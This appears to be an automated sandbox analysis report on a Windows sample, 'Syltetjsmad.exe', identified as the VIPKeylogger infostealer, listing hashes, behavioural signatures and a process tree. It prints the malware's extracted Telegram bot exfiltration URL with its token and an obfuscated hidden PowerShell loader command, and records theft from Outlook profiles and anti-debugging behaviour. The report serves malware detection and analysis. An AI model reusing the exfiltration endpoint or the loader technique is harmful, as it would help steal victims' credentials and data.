Analysis
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max time kernel
144s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-12-2024 08:09
Static task
static1
Behavioral task
behavioral1
Sample
Syltetjsmad.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Syltetjsmad.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
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Target
Syltetjsmad.exe
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Size
1.1MB
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MD5
cb8e38a904d97a2782cb38140f36e3fe
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SHA1
f9d77ffb188fed3bede9998a89b7362afcc52015
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SHA256
191ed5ad32b3e7df7a75dddfdc903bfc4f0a8c4cc4549db80b8f678b66fcba90
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SHA512
6200ba0b73b377cd702a446b1da9dbc032edbef8767012f0b109d1f803de653f16d6b0725ccee6346fe2082af814fa59220896b4d6461a19a7dec95717d2b095
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SSDEEP
24576:nNrNYoECbMDm/+/3VwV5k7j5awX300zQUGtZ:N+rCbGm/+/3VwXgj5aEkHUGtZ
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7989757183:AAFOo4_6tWUyZFDLW24lYUc4AgrSMn29lec/sendMessage?chat_id=7408341442
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4416 powershell.exe -
Loads dropped DLL 1 IoCs
pid Process 4812 Syltetjsmad.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 9 IoCs
flow pid Process 22 4968 msiexec.exe 24 4968 msiexec.exe 26 4968 msiexec.exe 28 4968 msiexec.exe 30 4968 msiexec.exe 43 4968 msiexec.exe 48 4968 msiexec.exe 50 4968 msiexec.exe 56 4968 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 21 drive.google.com 22 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 42 checkip.dyndns.org -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\stilhederne\tamtammens.ini Syltetjsmad.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4968 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4416 powershell.exe 4968 msiexec.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\inddatafunktionens.Tra Syltetjsmad.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Syltetjsmad.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4416 powershell.exe 4416 powershell.exe 4416 powershell.exe 4416 powershell.exe 4416 powershell.exe 4416 powershell.exe 4416 powershell.exe 4968 msiexec.exe 4968 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4416 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4416 powershell.exe Token: SeIncreaseQuotaPrivilege 4416 powershell.exe Token: SeSecurityPrivilege 4416 powershell.exe Token: SeTakeOwnershipPrivilege 4416 powershell.exe Token: SeLoadDriverPrivilege 4416 powershell.exe Token: SeSystemProfilePrivilege 4416 powershell.exe Token: SeSystemtimePrivilege 4416 powershell.exe Token: SeProfSingleProcessPrivilege 4416 powershell.exe Token: SeIncBasePriorityPrivilege 4416 powershell.exe Token: SeCreatePagefilePrivilege 4416 powershell.exe Token: SeBackupPrivilege 4416 powershell.exe Token: SeRestorePrivilege 4416 powershell.exe Token: SeShutdownPrivilege 4416 powershell.exe Token: SeDebugPrivilege 4416 powershell.exe Token: SeSystemEnvironmentPrivilege 4416 powershell.exe Token: SeRemoteShutdownPrivilege 4416 powershell.exe Token: SeUndockPrivilege 4416 powershell.exe Token: SeManageVolumePrivilege 4416 powershell.exe Token: 33 4416 powershell.exe Token: 34 4416 powershell.exe Token: 35 4416 powershell.exe Token: 36 4416 powershell.exe Token: SeDebugPrivilege 4968 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4812 wrote to memory of 4416 4812 Syltetjsmad.exe 89 PID 4812 wrote to memory of 4416 4812 Syltetjsmad.exe 89 PID 4812 wrote to memory of 4416 4812 Syltetjsmad.exe 89 PID 4416 wrote to memory of 4968 4416 powershell.exe 98 PID 4416 wrote to memory of 4968 4416 powershell.exe 98 PID 4416 wrote to memory of 4968 4416 powershell.exe 98 PID 4416 wrote to memory of 4968 4416 powershell.exe 98 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe"C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Prattlers=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\hypho.Liv';$Boistously=$Prattlers.SubString(8499,3);.$Boistously($Prattlers) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4416 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4968
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
343KB
MD5d08535d8d6333dabbdb3791767bf8618
SHA179fcd48dba5cb86b5f8f30536128048baf262ce4
SHA25667a7b59f47c7da638d751b8fd813282199ff14fe6c1831160cb0bc8b7195b6a4
SHA5122136f5f8b14c94b2b4b5b29f273992a5b07faacd7c80720dc4478e2ede1cb61e2e9d5ba8e8b52bb3ae861905b4eb83fb294bd69da47be314bf1e29cb4d52d50d
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Filesize
67KB
MD52680ec136e95120b96e418260f5ee955
SHA17be591e045d190eaa4e078481e8960dbd8973e46
SHA256b395b694a1bf12ab5130d593be3e9f2e8ca45fe4e21d8afffba667dd4a66a87a
SHA512128bb670f54e87b9e1ca432b0f3c4a315e3d07414c4c33701a6749f7dbefc9659d582d697b7332cc93b62739bbccf5b8953c772d426eb82b546b4a037de881e0
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683